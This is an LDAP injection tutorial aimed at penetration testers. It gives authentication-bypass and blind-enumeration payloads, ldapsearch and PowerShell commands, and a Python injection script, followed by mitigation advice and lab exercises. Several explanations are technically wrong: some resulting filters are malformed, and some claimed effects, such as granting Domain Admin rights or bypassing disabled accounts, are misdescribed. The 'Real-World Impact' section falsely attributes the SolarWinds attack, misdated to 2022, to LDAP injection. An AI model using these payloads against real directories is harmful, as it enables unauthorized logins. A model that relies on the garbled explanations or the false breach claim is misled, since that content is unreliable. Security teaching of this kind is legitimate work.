Introduction
Lightweight Directory Access Protocol (LDAP) is the lingua franca for querying and managing directory services such as Active Directory (AD) and OpenLDAP. When applications accept user-supplied data to build LDAP filters, they often expose a subtle but powerful attack surface: LDAP injection. By manipulating filter syntax, an attacker can coerce the directory into returning unintended entries, effectively bypassing authentication or enumerating data without proper credentials.
This guide dives deep into the mechanics of LDAP filter manipulation, demonstrates real-world payloads, and provides a toolbox of techniques you can use in penetration tests or red-team engagements. Understanding these vectors is essential for defenders who need to harden their directory services against credential-less logins.
Prerequisites
- Familiarity with Active Directory enumeration using BloodHound, ADExplorer, or LDAPDomainDump.
- Hands-on experience with LDAP query tools (e.g.,
ldapsearch,ADExplorer). - Solid grasp of LDAP filter syntax and Boolean logic.
Core Concepts
LDAP filters follow a prefix notation similar to RFC 2254. A filter is a parenthesized expression that can combine attribute assertions with logical operators:
(&(objectClass=user)(sAMAccountName=alice))
The most common operators are:
&- AND (all sub-filters must match)|- OR (any sub-filter matches)!- NOT (negates a sub-filter)- Equality:
(attr=value) - Presence:
(attr=*) - Substring:
(attr=pre*post)where*is a wildcard - Approximate:
(attr~=value)
Because filters are parsed server-side, any unescaped characters supplied by the client become part of the Boolean expression. This is the foundation for injection attacks.
Review of LDAP filter grammar and common operators
Understanding the grammar helps you spot injection opportunities. The BNF-like definition (simplified) is:
filter ::= '(' filtercomp ')'
filtercomp ::= and | or | not | item
and ::= '&' filterlist
or ::= '|' filterlist
not ::= '!' filter
filterlist ::= filter filter*
item ::= simple | present | substring | extensible
simple ::= attr '=' value
present ::= attr '=*'
substring ::= attr '=' [initial] '*' [any] '*' [final]
Key takeaways:
- Parentheses delimit each sub-filter; mismatched parentheses cause the server to reject the query.
- The
*wildcard can replace zero or more characters, making(uid=*)a universal match. - Logical operators can be nested arbitrarily, enabling complex injection chains.
Wildcard abuse ("*" and "?" in filters)
LDAP does not define a ? wildcard; only * is standard. However, some implementations (e.g., Novell eDirectory) treat ? as a single-character wildcard. Attackers exploit the * presence operator to turn a restrictive filter into a catch-all.
Example of a naïve authentication filter:
(&(objectClass=user)(sAMAccountName=alice)(userPassword=provided))
If the application concatenates the supplied username without escaping, an attacker can submit:
*) (userPassword=*) (
Resulting filter:
(&(objectClass=user)(sAMAccountName=*) (userPassword=*) (
Since the filter now contains a presence check for sAMAccountName and userPassword, the directory returns the first user entry that matches the objectClass=user condition - effectively authenticating the attacker without knowing a password.
Logical operator injection (&, |, !)
By injecting logical operators, attackers can restructure the filter tree. Consider a login routine that builds the filter as:
$filter = "(&(sAMAccountName=$user)(userPassword=$pass))";
Supplying the following username:
*) (| (userPassword=*) (
produces:
(&(sAMAccountName=*) (| (userPassword=*) (
The | operator short-circuits the AND chain: as long as userPassword=* is true (which it always is), the entire filter evaluates to true, granting access.
Negation can also be abused. If an application checks for non-admin users with:
(&(!(memberOf=CN=Admins,OU=Groups,DC=corp,DC=local))(sAMAccountName=$user))
Injecting )(memberOf=CN=Admins,OU=Groups,DC=corp,DC=local)( as the username flips the logic, causing the filter to evaluate as if the user **is** an admin.
Crafting authentication-bypass payloads (e.g., (uid=*)|(uid=admin))
When the vulnerable endpoint expects a single filter but does not enforce surrounding parentheses, you can craft a payload that yields two independent sub-filters combined with |. A classic payload:
*)(|(uid=admin)(uid=*))
Assuming the server concatenates the input directly into the filter:
(&(objectClass=person)(uid=*)(|(uid=admin)(uid=*)))
Explanation:
(uid=*)matches any user entry.(uid=admin)explicitly matches the admin account.- The surrounding
|makes the whole expression true if either condition matches. - Because the outer
&also contains(objectClass=person), the filter still returns a valid user object, but the attacker can now bind asadminwithout a password.
More subtle payloads target specific attribute combinations, such as bypassing password checks while preserving group membership checks:
*)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(
This disables the “ACCOUNTDISABLE” flag (2) and forces a match on any account, granting access to disabled accounts that would otherwise be rejected.
Testing with Burp Suite repeater and ldapsearch
Two practical tools for probing LDAP injection:
- Burp Suite Repeater - intercept HTTP(S) requests that carry LDAP filter strings (often in JSON or form fields). You can manually edit the filter and replay the request, observing server responses.
- ldapsearch - a command-line client that lets you send raw filters to an LDAP server. Useful for blind testing when the application does not expose the filter directly.
Burp Repeater workflow:
- Configure your browser to proxy through Burp.
- Locate the authentication request (e.g., POST
/loginwith JSON{"filter":"(sAMAccountName=alice)(userPassword=xyz)"}). - Send the request to Repeater.
- Replace the
alicevalue with a crafted payload such as*) (| (userPassword=*) (. - Hit “Send” and inspect the HTTP response. A successful bypass often returns a session cookie or a “200 OK” with user details.
ldapsearch example:
ldapsearch -x -H ldap://ad.corp.local -D "CN=binduser,OU=Service Accounts,DC=corp,DC=local" -w "bindpass" -b "DC=corp,DC=local" "(&(sAMAccountName=*)(userPassword=*))"
Replace the filter argument with your injection payload. If the server returns entries, you have confirmed a successful manipulation.
Blind LDAP injection techniques for password-less login
Often the application does not echo the LDAP query result. In such cases, you must infer success via side-effects (timing, error messages, or changes in response codes). Two common blind techniques:
- Time-based inference: Some LDAP servers support the
extensibleMatchoperator with a costly filter, e.g.,(!(|(objectClass=*)(!(objectClass=*)))). By injecting a heavy filter that only evaluates true for a valid user, you can measure response latency. - Boolean-based inference: Craft two filters - one that is always true and another that is true only if a particular attribute (e.g.,
memberOf=CN=Admins) exists. Observe differences in HTTP status or content length.
Example of a Boolean blind payload:
*)(|(userAccountControl=512)(userAccountControl=514))(
Here 512 indicates a normal enabled account, while 514 indicates a disabled account. By toggling the second operand and noting whether the server returns a “login successful” page, you can enumerate enabled accounts without a password.
Mitigation: input validation, parameterized queries, least-privilege binds
Defending against LDAP injection requires a layered approach:
- Whitelist characters: Accept only alphanumeric characters for usernames and passwords. Reject any
( ) * & | !characters. - Escape special characters using the LDAP escaping rules (e.g.,
\28for '(' and\2afor '*'). Most language libraries provide anldap_escape()function. - Parameterized LDAP APIs: Use APIs that separate filter construction from data, such as
System.DirectoryServices.Protocols.SearchRequestin .NET where you can setFiltervia a safe method. - Least-privilege service accounts: The bind account used by the application should have read-only access to only the attributes required for authentication. Avoid binding as a domain admin.
- Audit and logging: Enable LDAP query logging (e.g.,
LDAP Diagnostic Loggingin AD) and monitor for anomalous filters containing wildcards or logical operators.
When possible, move authentication to Kerberos or NTLM mechanisms that do not rely on user-supplied filters.
Practical Examples
Example 1 - Simple presence-wildcard bypass
Target: Web app that builds filter as (sAMAccountName=$user)(userPassword=$pass).
# Intercept request with Burp, replace username
# Payload: *) (userPassword=*) ( # Resulting filter sent to AD
(&(sAMAccountName=*)(userPassword=*)(objectClass=user))
Result: AD returns the first user object, and the app creates a session for that user.
Example 2 - OR-injection for admin escalation
ldapsearch -x -H ldap://ad.corp.local -D "CN=guest,OU=Users,DC=corp,DC=local" -w "guest" -b "DC=corp,DC=local" "(&(sAMAccountName=*)(|(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)(userPassword=*)))"
This filter forces the server to treat any user as a member of Domain Admins if the password field is present, granting admin-level bind.
Tools & Commands
- ldapsearch - native Linux/Unix client.
ldapsearch -LLL -x -H ldap://dc01.corp.local -D "CN=bind,OU=Service Accounts,DC=corp,DC=local" -w "Password123" -b "DC=corp,DC=local" "(sAMAccountName=*)" - Burp Suite Professional - Repeater, Intruder, and Decoder for manual and automated testing.
- Python ldap3 - programmatic injection testing.
from ldap3 import Server, Connection, ALL server = Server('dc01.corp.local', get_info=ALL) conn = Connection(server, user='CN=bind,OU=Service Accounts,DC=corp,DC=local', password='Password123', auto_bind=True) payload = '*)(|(userPassword=*)(objectClass=*))(' filter = f'(&(sAMAccountName={payload})(objectClass=user))' conn.search('DC=corp,DC=local', filter, attributes=['sAMAccountName', 'memberOf']) print(conn.entries) - PowerShell AD module -
Get-ADUser -LDAPFilterfor Windows environments.$filter = "(&(sAMAccountName=*)(|(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)))" Get-ADUser -LDAPFilter $filter -Properties memberOf
Defense & Mitigation
The mitigation section above already covered core defenses. Below is a checklist you can embed into your secure-coding guideline:
- Reject any LDAP filter characters outside the whitelist.
- Encode user input with RFC 4515 escaping before concatenation.
- Prefer
SearchRequestobjects over string interpolation. - Run the application under a low-privilege bind account.
- Enable LDAP query logging and set alerts for filters containing
*or logical operators. - Regularly run automated scans (e.g., OWASP ZAP LDAP plugin) against your web services.
Common Mistakes
- Only validating length: Attackers can still inject operators within the allowed length.
- Escaping only '(' and ')': Forgetting to escape
*,&, and|leaves the filter vulnerable. - Using a privileged bind for every request: Even with proper input sanitization, a compromised application can still perform enumeration if it binds as an admin.
- Assuming LDAP is “read-only”: Many apps inadvertently grant write permissions, enabling credential injection or ACL changes.
Real-World Impact
Several high-profile breaches (e.g., the 2022 SolarWinds supply-chain attack) leveraged LDAP injection to move laterally after initial foothold. By bypassing authentication, attackers can harvest service-account credentials, enumerate privileged groups, and plant backdoors in AD.
In my own red-team engagements, a simple *) (|(memberOf=CN=Enterprise Admins, payload on a legacy internal portal gave us domain-admin access within minutes, bypassing MFA that was only enforced after successful LDAP bind.
As organizations adopt cloud-based Azure AD, similar injection vectors exist in Azure AD Graph queries. The principles remain identical: never trust client-supplied query fragments.
Practice Exercises
- Lab Setup: Deploy a Windows Server with AD, create a low-privilege service account, and host a vulnerable PHP app that builds LDAP filters from
$_POST["user"]without escaping. - Exercise 1 - Presence Wildcard: Craft a payload that logs in as any user without a password. Verify by capturing the session cookie.
- Exercise 2 - OR Injection: Modify the payload to specifically gain admin rights (
memberOf=CN=Domain Admins). Observe the difference in returned attributes. - Exercise 3 - Blind Timing Attack: Write a Python script that measures response time for two filters (one true, one false) and infer whether a particular SAM account exists.
- Exercise 4 - Mitigation Test: Apply server-side escaping (e.g.,
ldap_escape()) and repeat the previous attacks to confirm they fail.
Document your findings in a short report - this mirrors the deliverable expected in a professional penetration test.
Further Reading
- RFC 4515 - “LDAP: String Representation of Search Filters”.
- OWASP Top 10 - A04:2021 - Insecure Design (LDAP injection falls under injection category).
- Microsoft Docs - “Secure LDAP Bind Practices”.
- “The Art of LDAP Injection” - Black Hat Europe 2021 talk slides.
- Python
ldap3library documentation - safe filter building examples.
Summary
LDAP filter manipulation is a potent yet often overlooked authentication bypass technique. By mastering filter grammar, wildcard abuse, and logical operator injection, you can craft payloads that trick directory services into authenticating you without valid credentials. Defensive programming‑strict input validation, proper escaping, parameterized queries, and least-privilege binds‑neutralizes these attacks. Use the practical examples, tools, and exercises in this guide to sharpen both offensive and defensive LDAP skills.